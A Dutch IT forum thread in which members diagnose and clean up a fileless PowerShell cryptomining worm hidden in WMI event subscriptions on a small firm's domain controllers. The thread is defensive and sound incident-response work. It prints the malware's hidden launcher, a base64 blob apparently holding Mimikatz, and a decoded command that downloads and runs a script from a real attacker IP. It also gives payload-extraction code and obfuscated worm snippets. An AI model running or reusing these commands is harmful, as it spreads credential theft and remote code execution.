Onbekend powershell script gooit CPU naar 100%

Pagina: 1
Acties:

Vraag


Acties:
  • 0 Henk 'm!

  • kw_nl
  • Registratie: September 2005
  • Laatst online: 13:32
Op een Windows 2012 R2 server (DC's) gaat een paar keer per dag de CPU naar 100%. Dit word veroorzaakt door een Powershell proces.

Alleen is de grote vraag, wat wordt er gestart...

Inmiddels heb ik Process Explorer kunnen draaien tijdens de 100% CPU, alleen kan ik niet achterhalen wat het nu start. Wel zag ik het volgende in het powershell process staan:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:Office_Updater').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:Office_Updater').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"

Er staat niks in mijn schedule tasks die een powershell script zou kunnen starten.

Ook heb ik even gedacht aan het EternalBlue virus. Maar de servers is hiervoor gepatched.

Iemand een suggestie hoe ik kan achterhalen van waar het process wordt gestart. Uit voorzorg hebben we al de admin accounts voorzien van een nieuw wachtwoord, maar dat heeft niet geholpen.

XBOX One: KW NL, PSN: kw_nl Strava: https://www.strava.com/athletes/53303907

Beste antwoord (via F_J_K op 29-11-2017 10:27)


  • kw_nl
  • Registratie: September 2005
  • Laatst online: 13:32
Thnx, all. Uiteindelijk is het dus wel een mallware besmetting (file less mallware). De besmetting kunnen stoppen met de volgende commando in Powershell:

Get-WMIObject -Namespace root\Subscription -Class __EventFilter |remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer | Remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMIObject -Verbose

Daarna wel een herstart. De servers zijn sindsdien rustig. Nu nog uitzoeken hoe we het voorkomen en of het echt weg is.

XBOX One: KW NL, PSN: kw_nl Strava: https://www.strava.com/athletes/53303907

Alle reacties


Acties:
  • +3 Henk 'm!

  • SiNisTrAD
  • Registratie: Maart 2000
  • Laatst online: 16:48
Op internet vond ik hetzelfde script en dat bleek malware
https://community.spicewo...lved?page=1#entry-7336947

Acties:
  • 0 Henk 'm!

  • kw_nl
  • Registratie: September 2005
  • Laatst online: 13:32
Het lijkt er idd wel op, maar dat maakt gebruik van EternalBlue exploit. Ik heb de tool van ESET gedraait, die geeft aan dat de server gepatched is.

Edit: Inmiddels weten we dat het script ieder uur start (op het uur). Dat lijkt me wat vreemd voor een virus, die zou je vaker verwachten toch? Inmiddels met Process Monitor wel een capture kunnen maken waarin het script start. Dat wordt zoeken naar de bekende spelt :p

[ Voor 47% gewijzigd door kw_nl op 28-11-2017 18:44 ]

XBOX One: KW NL, PSN: kw_nl Strava: https://www.strava.com/athletes/53303907


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 15-10 23:09
Zo te zien een WMI event subscription die de boel start.

Zie dit artikel van Boe Prox voor meer info over deze subscriptions.
https://learn-powershell....-wmi-event-subscriptions/

[ Voor 60% gewijzigd door Killah_Priest op 28-11-2017 19:01 ]


Acties:
  • 0 Henk 'm!

  • Quipp
  • Registratie: Januari 2010
  • Laatst online: 24-07-2024
Zou ook even je netwerk in de gaten houden. mooie tool hiervoor is https://securityonion.net/

Acties:
  • 0 Henk 'm!

  • paulhekje
  • Registratie: Maart 2001
  • Laatst online: 15-10 08:02
Staat er iets van Office op geïnstalleerd?

|=|=|=||=|=|=||=|=|=| http://www.vanwijck.com |=|=|=||=|=|=||=|=|=||=|=|=||=|=|=||=|=|=||=|=|=|


Acties:
  • Beste antwoord
  • +1 Henk 'm!

  • kw_nl
  • Registratie: September 2005
  • Laatst online: 13:32
Thnx, all. Uiteindelijk is het dus wel een mallware besmetting (file less mallware). De besmetting kunnen stoppen met de volgende commando in Powershell:

Get-WMIObject -Namespace root\Subscription -Class __EventFilter |remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer | Remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMIObject -Verbose

Daarna wel een herstart. De servers zijn sindsdien rustig. Nu nog uitzoeken hoe we het voorkomen en of het echt weg is.

XBOX One: KW NL, PSN: kw_nl Strava: https://www.strava.com/athletes/53303907


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 15-10 23:09
kw_nl schreef op woensdag 29 november 2017 @ 08:47:
Thnx, all. Uiteindelijk is het dus wel een mallware besmetting (file less mallware). De besmetting kunnen stoppen met de volgende commando in Powershell:

Get-WMIObject -Namespace root\Subscription -Class __EventFilter |remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer | Remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMIObject -Verbose

Daarna wel een herstart. De servers zijn sindsdien rustig. Nu nog uitzoeken hoe we het voorkomen en of het echt weg is.
WMI event subscriptions zijn tegenwoordig een redelijk gangbare manier om malware te laten draaien (dit ook omdat veel sysadmins niet van het bestaan afweten).
Hopelijk ben je er nu van verlost.

(ik zou eerlijk gezegd alle betreffende servers opnieuw inrichten om het zekere voor het onzekere te nemen, immers een systeem wat eenmaal compromised is is niet meer te vertrouwen, echter is dat een andere discussie).

Acties:
  • 0 Henk 'm!

  • F_J_K
  • Registratie: Juni 2001
  • Niet online

F_J_K

Moderator CSA/PB

Front verplichte underscores

Voor de volledigheid even een alias in B&V gezet. (Alias, omdat ik vermoed dat op hetzelfde probleem zoeken door anderen ook hier in SWS zou gebeuren). En er een vraagtopic van gemaakt.


Ga inderdaad vooral ook werk maken van uitvinden waar het vandaan komt. Ik zou zelf een eens besmette server nooit meer willen vertrouwen en zou daarom herinstallatie suggereren. Maar ik hoef de herinstallatie niet te doen dus dat is makkelijk praten :P

[ Voor 47% gewijzigd door F_J_K op 29-11-2017 10:28 ]

'Multiple exclamation marks,' he went on, shaking his head, 'are a sure sign of a diseased mind' (Terry Pratchett, Eric)


Acties:
  • +1 Henk 'm!

  • Squ1zZy
  • Registratie: April 2011
  • Niet online
Na mijn idee moet nu het incident response plan in gang treden. Hebben jullie die niet, dan moet die er zo snel mogelijk komen.

Hierbij mijn input:

code:
1
-NoP -NonI -W Hidden


Dit wordt gebruikt om signature-based scanners te omzeilen. Dit zijn de volgende parameters:

- NoProfile
- NonInteractive
- Windows Style: Hidden

Als je dit ziet weet je dat het wordt gebruikt om niet gezien te worden. Vaak is dat een indicatie dat het om slechte bedoelingen gaat.

Er is een WMI class gemaakt met Base64 encoded code die hij gebruikt om iets uit te voeren. Gezien de commando's die je hebt uitgevoerd ben ik bang dat je dit niet meer kan achterhalen. Check de WMI class properties en kijk wat erin staat. Dan kan je zien wat het script heeft gedaan.

Gezien het om een DC gaat zou het zo maar kunnen zijn dat er een 'golden ticket' is aangemaakt en hij nu overal bij kan.

Ik zou me toch echt serieus zorgen maken als dit binnen een bedrijf gebeurt. Ook zou ik iemand inschakelen die er meer verstand van heeft om dit goed te onderzoeken. Maar zoals gezegd hoop ik dat er een incident response plan ligt.

Acties:
  • 0 Henk 'm!

  • Brahiewahiewa
  • Registratie: Oktober 2001
  • Laatst online: 30-09-2022

Brahiewahiewa

boelkloedig

Squ1zZy schreef op woensdag 29 november 2017 @ 12:21:
...
code:
1
-NoP -NonI -W Hidden


Dit wordt gebruikt om signature-based scanners te omzeilen. Dit zijn de volgende parameters:

- NoProfile
- NonInteractive
- Windows Style: Hidden

Als je dit ziet weet je dat het wordt gebruikt om niet gezien te worden. Vaak is dat een indicatie dat het om slechte bedoelingen gaat...
Bwoah, 't is niet zo vreemd dat een "Office updater" hidden, non-interactive en zonder (netwerk) profile draait.
Althans, enige tijd geleden regende het klachten over een schermpje dat enkele seconden zichtbaar was in windows; dat bleek om een ms-office updater te gaan (een èchte)

Wat wèl vreemd is dat er bij de TS geen waarschuwingslampje gaat branden als z'n DC's proberen office te updaten; kennelijk ontbreekt er in z'n omgeving meer dan alleen een incident response plan

QnJhaGlld2FoaWV3YQ==


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 15-10 23:09
Ik zou zelf in dit geval, hoe kut het ook is, een nieuw domein opzetten.
Ik heb even gezocht of ik kon vinden wat Microsoft zelf aangeeft over compromised domain controllers en kwam het volgende tegen :
https://docs.microsoft.co...s/planning-for-compromise

Microsoft geeft daarin ook aan dat als iemand priviledged access tot een DC heeft weten te krijgen dat je het domein nooit meer kunt vertrouwen.

Een werkstation wat besmet is image je toch ook direct opnieuw ipv opschonen en dan weer gebruiken?
Voor een server idem. Als het toevallig een DC is dan ben je wel meteen zwaar de lul, want dan zit je nog met je AD omgeving.

Acties:
  • 0 Henk 'm!

  • Squ1zZy
  • Registratie: April 2011
  • Niet online
Brahiewahiewa schreef op woensdag 29 november 2017 @ 17:08:
[...]

Bwoah, 't is niet zo vreemd dat een "Office updater" hidden, non-interactive en zonder (netwerk) profile draait.
Althans, enige tijd geleden regende het klachten over een schermpje dat enkele seconden zichtbaar was in windows; dat bleek om een ms-office updater te gaan (een èchte)

Wat wèl vreemd is dat er bij de TS geen waarschuwingslampje gaat branden als z'n DC's proberen office te updaten; kennelijk ontbreekt er in z'n omgeving meer dan alleen een incident response plan
Er zijn genoeg indicaties dat het om malicious code gaat. Ik geloof niet dat Microsoft als parameters “-NoP” en “Nonl” meegeven.

Als je het script bekijkt zie je dat er Base64 wordt gebruikt in een wmiclass om iets uit te voeren. Erger kan het bijna niet :)

Hier is de code beter leesbaar:
PowerShell:
1
2
3
4
$mon = ([WmiClass] 'root\default:Office_Updater').Properties['mon'].Value
$funs = ([WmiClass] 'root\default:Office_Updater').Properties['funs'].Value
iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)))
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"


Waar ik mee zit is wat met malware ook vaak gebeurt. Men verwijderd de malware, checkt of er geen meldingen meer komen van b.v de virusscanner en denk dan dat alles weer in orde is.

Wat ik juist wil weten is WAT heeft de malware allemaal gedaan.

Topic starter heeft na mijn idee echt een groot probleem. Dit stond gewoon op een DC. Als je zo ver bent maak je ook een golden ticket aan en ga je je helemaal nestelen in het gehele domein.

@kw_nl Probeer de code eens te achterhalen in de wmiclass en post die eens. Ben wel benieuwd wat erin staat.

Ik heb niet het idee dat men weet wat het ernst is van deze uitbraak. Wat als er data is gelekt? PII, IP? Meldplicht? Beurs genoteerd bedrijf? Dit kan een groot impact hebben en ik hoop dat er op dit moment met man en macht aan gewerkt wordt :)

Ik vraag me ook af of de wmiclass wel weg is. De commando’s die je hebt gepost lijkt het er niet op namelijk.

Gezien het een DC is heeft diegene al domain admin credentials. Domain admins groep al bekeken?

[ Voor 10% gewijzigd door Squ1zZy op 29-11-2017 19:36 ]


Acties:
  • 0 Henk 'm!

  • kw_nl
  • Registratie: September 2005
  • Laatst online: 13:32
Dit is de code in code in de WMI class (geen idee hoe ik dit netjes in een box krijg):

class Office_Updater
{
string mimi = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABnB4EsI2bvfyNm738jZu9/l/oefyZm73+X+hx/tmbvf5f6HX8tZu9/GDjsfiRm738YOOp+Nmbvfxg4634xZu9/RYgkfydm738qHmh/IWbvf1X7lH8lZu9/Kh58fz5m738jZu5/smfvf7Q4535vZu9/tDjvfiJm73+xOBB/Imbvf7Q47X4iZu9/UmljaCNm738AAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwBTAyVYAAAAAAAAAADwACIgCwIOAAB4CAAAlAQAAAAAAGh1BgAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAYA0AAAQAAAAAAAADAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAWFhaAD9fR2V0QF9DdXJyZW50U2NoZWR1bGVyQGRldGFpbHNAQ29uY3VycmVuY3lAQFNBP0FWX1NjaGVkdWxlckAyM0BYWgA/X0dldENvbmNSVFRyYWNlSW5mb0BDb25jdXJyZW5jeUBAWUFQRUJVX0NPTAkcmVxdWVzdF9jYWxsX0lEID0gMHgxMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwNiwweDAwDQogICAgICAgICAgICAgICAgppW9nf/VSIPEKDwGfAqA++B1BbtHE3JvagBZQYna/9VjbWQgL2MgcG93ZXJzaGVsbCAtbm9wIC1ub25pIC13IGhpZGRlbiAiJGE9KFtzdHJpbmddKEdldC1XTUlPYmplY3QgLU5hbWVzcGFjZSByb290XFN1YnNjcmlwdGlvbiAtQ2xhc3MgX19GaWx0ZXJUb0NvbnN1bWVyQmluZGluZyApKTtpZigoJGEgLWVxICRudWxsKSAtb3IgKCEoJGEuY29udGFpbnMoJ1NDTSBFdmVudCBMb2dzJykpKSkge0lFWChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTA3LjE3OS42Ny4yNDM6ODAwMC9tYTYucHMxJyl9IiAA";
string ipsu = " 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.61 192.168.0.120 192.168.0.250 192.168.0.251 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.120 192.168.0.250 192.168.0.251 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.120 192.168.0.250 192.168.0.251 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.120 192.168.0.250 192.168.0.251 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.120 192.168.0.250 192.168.0.251 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.120 192.168.0.250 192.168.0.251 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.120 192.168.0.250 192.168.0.251 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.120 192.168.0.250 192.168.0.251 192.168.0.2 192.168.0.3 192.168.0.5 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.24 192.168.0.30 192.168.0.120 192.168.0.250 192.168.0.251";
string i17 = " 192.168.0.30 192.168.0.53 192.168.0.63 192.168.0.30 192.168.0.53 192.168.0.63 192.168.0.30 192.168.0.53 192.168.0.63 192.168.0.30 192.168.0.53 192.168.0.63 192.168.0.30 192.168.0.53 192.168.0.63 192.168.0.30 192.168.0.53 192.168.0.63 192.168.0.65 192.168.0.134 192.168.0.135 192.168.0.136 192.168.0.240 192.168.0.243 192.168.0.244 192.168.0.248 192.168.0.250 192.168.0.251 192.168.0.253 79.137.82.5 192.168.0.100 192.168.0.103 192.168.0.105 192.168.0.106 192.168.0.107 192.168.0.121 192.168.0.122 192.168.0.134 192.168.0.135 192.168.0.136 192.168.0.100 192.168.0.103 192.168.0.105 192.168.0.106 192.168.0.107 192.168.0.121 192.168.0.122 192.168.0.123 192.168.0.134 192.168.0.135 192.168.0.136 192.168.0.100 192.168.0.103 192.168.0.105 192.168.0.106 192.168.0.107 192.168.0.121 192.168.0.122 192.168.0.134 192.168.0.135 192.168.0.100 192.168.0.105 192.168.0.106 192.168.0.107 192.168.0.121 192.168.0.122 192.168.0.123 192.168.0.134 192.168.0.135 192.168.0.136 192.168.0.100 192.168.0.105 192.168.0.106 192.168.0.107 192.168.0.134 192.168.0.134 192.168.0.135";

Het stuk met encryptie is trouwens in het echte vele malen langer. Maar dat vond de Tweakers server niet zo cool.

Opvallend zijn de IP adressen, geen idee hoe die verzameld zijn. Het zijn IP adressen van servers, maar voornamelijk van printers en andere IP devices.

Het gaat om een MKB bedrijf, alle servers waren besmet. Ik ben het ermee eens dat het beste een nieuw domein is. Maar daar is simpel genoeg het budget niet voor.

De WMI class "OfficeUpdater" heb ik idd met een ander powershell verwijderd. Wat overigens niet altijd even soepel ging.

Overigens kijken we of het mogelijk is om een specialistisch bedrijf in te schakelen.

De bron van de besmetting is trouwens wel gevonden en is gedicht. Alle domain admin accounts zijn direct gewijzigd. Al vraag ik me af of er echt domain admin accounts zijn gebruikt. Zelf vermoed ik dat het system account is gebruikt, eerlijk is eerlijk, ik weet niet zeker of dat genoeg is om WMI classes aan te maken.

XBOX One: KW NL, PSN: kw_nl Strava: https://www.strava.com/athletes/53303907


Acties:
  • 0 Henk 'm!

  • back2basic
  • Registratie: Juli 2007
  • Laatst online: 31-03 16:35
zo te zien wordt er een script geladen van http://107.179.67.243:8000/ma6.ps1


decoded:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
MZ@     !L!This program cannot be run in DOS mode.

$g,#f#f#f&ff-f8~$f8~6f8~1fE$'f*h!fU%f*|>f#fg8~of8~"f8"f8~"fRich#fPEdS%X" xhu`
`aah}}
ɕMձх
ɕMY}Mձah}
IQQɅ%
ɕeA    U}
=0$request_call_ID = 0x10,0x00,0x00,0x00
                                $request_context_ID = 0x04,0x00
                                $request_opnum = 0x06,0x00
                H(<|
uGrojYAcmd /c powershell -nop -noni -w hidden "$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains('SCM Event Logs')))) {IEX(New-Object Net.WebClient).DownloadString('http://107.179.67.243:8000/ma6.ps1')}"


output van die powershell (http://107.179.67.243:8000/ma6.ps1) staat op:

https://pastebin.com/24ZHvqJf


Als die ip's in de lijst in jouw netwerk zijn zou ik uit voorzorg een shutdown doen van het hele domein totdat het verder onderzocht is..

Als ik dit zie ben ik bang dat er nog meer rondzwerft op het netwerk want die lijst van ip's moet ergens gegenereerd zijn. ( misschien via een client met admin rechten geinfecteerd..)

[ Voor 22% gewijzigd door back2basic op 30-11-2017 00:10 ]

Mijn iRacing profiel


  • Squ1zZy
  • Registratie: April 2011
  • Niet online
Het is Base64. Post de gehele code eens op pastebin.

Ik zie MZ staan wat een Portable Executable representeert (magic bytes). Ook staat er de string “Thie program ...” wat je in alle executables kan terug vinden.

Mimi staat wat denk ik voor Mimikatz wat domain admin kan verklaren.

Ik zou het advies geven per direct een professioneel bedrijf in te schakelen. Geen budget is geen excuus. Dat er domain admin credentials zijn verzameld is wel duidelijk. Hoe komt diegene anders op een DC?

  • back2basic
  • Registratie: Juli 2007
  • Laatst online: 31-03 16:35
ik had de 'string mimi' die gepost is door kw_nl door de base 64 decoder gehaald en die begon met MZ@

Het powershell dat geladen wordt had ik in ubuntu VM gedownload en een cat op gedaan. ( dan krijg je veel rommel) maar als je een nano op het bestand doet zie je maar 2 regels. :S
ik wist het wel als dit en van mijn beheerde domeinen was.. een complete rebuild ;)
Ik denk dat dit maar een topje is van de ijsberg..

Mijn iRacing profiel


Acties:
  • +5 Henk 'm!

  • Thralas
  • Registratie: December 2002
  • Laatst online: 15-10 21:19
Squ1zZy schreef op woensdag 29 november 2017 @ 19:19:
@kw_nl Probeer de code eens te achterhalen in de wmiclass en post die eens. Ben wel benieuwd wat erin staat.
Als je het geposte WMI-snippet volgt kun je het hele malwarepakket binnenhalen.

code:
1
hxxp://107.179.67.243:8000/ma6.ps1


Dat is een PowerShell-script met twee regels. De eerste bevat de payload DLLs/executables/utility scripts (als de variabele '$fa'), de laatste is de (obfuscated) worm zelf.

De worm heb ik een heel eind gedeobfuscate. Daar kun je ook uit afleiden hoe je de payloads/utilities uit $fa extraheert

PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function reload ($a){
$b=""
$size=[Math]::Floor($a.Length/1000)
for($i=$size-1;$i -ge 0;$i--)
{ 
    $b+=$a.Substring($i*1000,1000)
} 
$b+=$a.Substring($size*1000)
return $b
}
$fa=reload $fa

$mimi=$fa.Substring(0,1131864)
$mon=$fa.Substring(1131866,357720)
$vcp=$fa.Substring(1489588,880172)
$vcr=$fa.Substring(2369762,1284312)
$funs=$fa.Substring(3654076,497360)
$sc=$fa.Substring(4151438)


Je moet dus eerst $fa opsplitsen in blocks van 1000 bytes, dan zet je de lijst blocks achterstevoren (het laatste block van 670 bytes behoudt zijn positie). Vervolgens kun je de payloads extracten:
  • mimi is Mimikatz (DLL)
  • mon is een cryptominer (XML/Monero)
  • vcp en vcr is Microsoft's Visual C++ runtime
  • funs bevat PowerShell-code voor oa. reflective DLL loading en EternalBlue
  • sc is de shellcode voor EternalBlue
kw_nl schreef op woensdag 29 november 2017 @ 23:24:
Opvallend zijn de IP adressen, geen idee hoe die verzameld zijn. Het zijn IP adressen van servers, maar voornamelijk van printers en andere IP devices.
Met de malware zelf. Het is een worm, geschreven in PowerShell. De payload is een cryptominer (XMR).

De globale werking is als volgt:
  1. De 'mon' payload wordt gestart, indien deze nog niet draait. Dit is de cryptominer
  2. Mimikatz wordt dynamisch geladen (aka. 'reflective DLL loading' in allerlei PowerShell-frameworks). Nu heeft het alle credentials en hashes buitgemaakt.
  3. Voor alle netwerkadapters wordt het subnet afgescand naar Windowsmachines
  4. Met de buitgemaakte credentials probeert het zichzelf te verspreiden via WMI; lukt dat niet dan wordt er gescand op, en indien mogelijk gebruikgemaakt van MS17-010 aka. EternalBlue
Overigens kijken we of het mogelijk is om een specialistisch bedrijf in te schakelen.
Hoewel niemand je garanties kan bieden, wijst alles in dit topic op een XMR (Monero?) mining-campgne. Waarschijnlijk heb je nu al 99% van alle details en voldoende handvatten om het zelf op te ruimen.

Steek vervolgens het uitgespaarde geld in kennis/software om dit in het vervolg (proberen te) voorkomen.

Verder, gooi deze hosts in je firewall, samen met poort 14444; als je een hit krijgtheb je het blijkbaar niet goed opgeruimd:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
107.179.67.243:8000
172.247.116.8:8000
118.184.48.95:8000

miner:
stratum+tcp://xmr-eu1.nanopool.org:14444
stratum+tcp://xmr-eu2.nanopool.org:14444
stratum+tcp://xmr-us-east1.nanopool.org:14444
stratum+tcp://xmr-us-west1.nanopool.org:14444
stratum+tcp://xmr-asia1.nanopool.org:14444
stratum+tcp://mine.moneropool.com:80
stratum+tcp://mine.xmrpool.net:80

Hier mist nog een subdomein of een poort:
fee.xmrig.com
.nicehash.com


Maak ook een regel aan voor tcp 14444, die gebruikt de miner namelijk. En vraag je af waarom je machines uberhaupt het internet op die poorten mogen bereiken.

Deze snippets uit het malwarescript zijn ook interessant, al dan niet als indicator of compromise:

code:
1
2
3
4
5
S`chTaSKs /delete /tn yastcat /f 
if (teSt-pATH ($env:SystemRoot+('MRbtempMRby1.bat').rePlAce('MRb',[STRInG][cHar]92))){remoVE-iTem -Path ($env:SystemRoot+(('{0}temp{0}y1.bat')-f [chaR]92))  -Force}
poWercFG /CHANGE -standby-timeout-ac 0 
poWERCFg /CHANGE -hibernate-timeout-ac 0 
PoweRcFG -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000


Check dus ook de scheduled tasks, en zet de powersettings terug om wat bomen te sparen. Hij zet overigens ook UseLogonCredential=1 in het register (zie Microsoft.com)
De bron van de besmetting is trouwens wel gevonden en is gedicht.
Vertel eens, dat valt hier namelijk niet uit te herleiden..
Alle domain admin accounts zijn direct gewijzigd. Al vraag ik me af of er echt domain admin accounts zijn gebruikt.
Hij gebruikt alles wat 'ie vinden kan met Mimikatz. Dus die domain admins heeft 'ie allang als hij op je DCs zit - en dientengevolge je hele netwerk.

Het wijzigen van wachtwoorden is natuurlijk verplicht, maar wel een leuk filosofisch vraagstuk; de malware lijkt namelijk echt 'fire-and-forget'; de buitgemaakte credentials worden enkel gebruikt voor het verspreiden en niet doorgestuurd.
Zelf vermoed ik dat het system account is gebruikt, eerlijk is eerlijk, ik weet niet zeker of dat genoeg is om WMI classes aan te maken.
Ik zou dat als de wiedeweerga eens grondig uitzoeken als je wilt voorkomen dat je de volgende keer tegen dezelfde lamp loopt.

Gezien je het enkel 'vermoed': heb je de authenticatielogs op je domain controllers al bekeken? Ik ben geen Windowsbeheerder, maar volgens mij zou je daar moeten kunnen zien op welk punt in de tijd er voor het eerst een groot aantal authenticatiepogingen werd gedaan (de worm die zich begint te verspreiden) en met welk account dat gebeurde.

Als je systemen netjes up-to-date waren (MS17-010) dan waren er op de machine van de initiële infectie ofwel domain admin credentials aanwezig, of een buitgemaakt lokaal administrator account bleek ook te werken op andere machines.

Acties:
  • 0 Henk 'm!

  • kw_nl
  • Registratie: September 2005
  • Laatst online: 13:32
Thralas (en ook andere) bedankt voor het uitzoek werk.

Ik heb deze case zelf niet meer in beheer, maar in de security logs valt idd terug te halen welk account gebruikt is. Al is het een redelijk monniken werk (zullen vast wel tools voor zijn). Ik vermoed zelf dat het een account was voor een externe leverancier was. Dat beleid gaan we trouwens echt aanpakken (minder snel een domain admin account, accounts beperkt actief houden).

De servers waren wel allemaal up-to-date. Daarvoor gebruiken we AEM met een update policy. Het gaat vrijwel automatisch.

Er is gebruik gemaakt van poort 3389 die ergens open stond, en dat is zeer kwalijk :( . Wellicht ooit als test gebruikt, maar nooit dicht gezet. Intern wordt hier natuurlijk ook over gesproken.

Ik kreeg vaak het advies het AD opnieuw op te bouwen met nieuwe VM's. En ik zou waarschijnlijk zelf het advies ook geven. Maar het is makkelijker gezegd dan gedaan. Een grove schatting geeft al meer dan 60 uur werk. Je kan geen AD migratie doen ivm de SID's. Alle applicaties met hun leveranciers die opnieuw moeten migreren. Exchange, sharepoint, alle werkstations, profielen... Voor een MKB bedrijf niet te doen bijna.

We hebben er geen forensisch bedrijf bij gehaald, maar wel advies in gewonnen. De mallware was zoals het nu lijkt puur gericht op het minen van bitcoins. En niet bedoelt om een data te lekken of andere bedoelingen.

Zoals al gezegd, alle wachtwoorden van alle accounts zijn gereset, de firewall is opnieuw na gelopen. Volgens mij is er alleen nog twijfel wat de gevolgen zijn als je een dubbele krbtgt reset uitvoert (ivm een mogelijke golden ticket).

XBOX One: KW NL, PSN: kw_nl Strava: https://www.strava.com/athletes/53303907


Acties:
  • 0 Henk 'm!

  • darkrain
  • Registratie: Augustus 2001
  • Nu online

darkrain

Moderator Discord / TFV & AWM

Geniet

kw_nl schreef op zaterdag 2 december 2017 @ 10:40:
Dat beleid gaan we trouwens echt aanpakken (minder snel een domain admin account, accounts beperkt actief houden).
Domain admin accounts voor een leverancier? :o

Ik weiger als leverancier altijd dat soort accounts, veel te veel rechten. Ontwerpprincipe Least privilige access, oftewel niet meer rechten dan strikt noodzakelijk...

Tweakers Discord


Acties:
  • +2 Henk 'm!

  • Vorkie
  • Registratie: September 2001
  • Niet online

Acties:
  • 0 Henk 'm!

  • kw_nl
  • Registratie: September 2005
  • Laatst online: 13:32
Yes, zoals ik al schreef. Heeft iemand er overigens ervaring mee?

XBOX One: KW NL, PSN: kw_nl Strava: https://www.strava.com/athletes/53303907


Acties:
  • 0 Henk 'm!

  • Vorkie
  • Registratie: September 2001
  • Niet online
kw_nl schreef op zaterdag 2 december 2017 @ 14:07:
[...]

Yes, zoals ik al schreef. Heeft iemand er overigens ervaring mee?
Ja,

https://cloudblogs.micros...-available-for-customers/

Leesvoer :-)

vanwege: A step-by-step list of tasks associated with performing the krbtgt account password reset.

[ Voor 13% gewijzigd door Vorkie op 02-12-2017 14:28 ]

Pagina: 1